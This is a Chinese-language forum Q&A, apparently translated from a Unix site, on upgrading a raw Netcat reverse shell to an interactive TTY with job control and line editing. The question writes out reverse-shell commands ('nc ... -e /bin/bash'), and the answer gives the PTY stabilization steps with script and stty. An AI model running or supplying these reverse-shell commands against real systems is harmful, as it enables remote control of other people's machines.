如何将原始 Netcat shell 升级为具有制表符补全和行编辑功能的全功能登录 shell?
假设我使用 Netcat 启动远程(反向)shell,如下所示:
nc -lvp $port
nc $ip $port -e '/bin/bash'
现在,我得到的是一个没有 TTY、制表符补全、行编辑或历史记录的 shell。也就是说,左、上、右、下键盘键会分别产生^[[D,^[[A,^[[C,^[[B
、 和 ,按下^C
会导致 shell 终止:
$ tty
not a tty
现在,为 shell 启动 PTY 相当简单,以便su
可以运行类似的命令。然而,该 shell 仍然缺乏普通登录 shell 所期望的基本功能(见上文)。
如果可能的话,如何将 Netcat 启动的 shell 升级为类似于普通登录 shell 的东西?请解释一下步骤。
答案1
您无法“升级”已经运行的 shell。
不过你可以
a) 创建一个 pty 并在其中运行另一个 shellscript /dev/null
b)摆弄你的当地的终端,因此它不会专门解释intr
、eof
和eol
其他键,而是传递它们。
$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
[ncat -4 localhost 9999 -e /bin/bash in another terminal]
Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$
[press Control-Z]
[1]+ Stopped nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"
[press Enter]
bash-4.4$
[now history and control keys work as expected
you may also want to set the correct name with TERM=
and the correct size with stty rows R cols C
press Control-D to terminate the shell]
无论如何,这个网络猫游戏是毫无意义和可笑的;谁真的想通过未加密的连接运行 shell 会话?我们已经习惯了像ssh
2019 年那样的事情。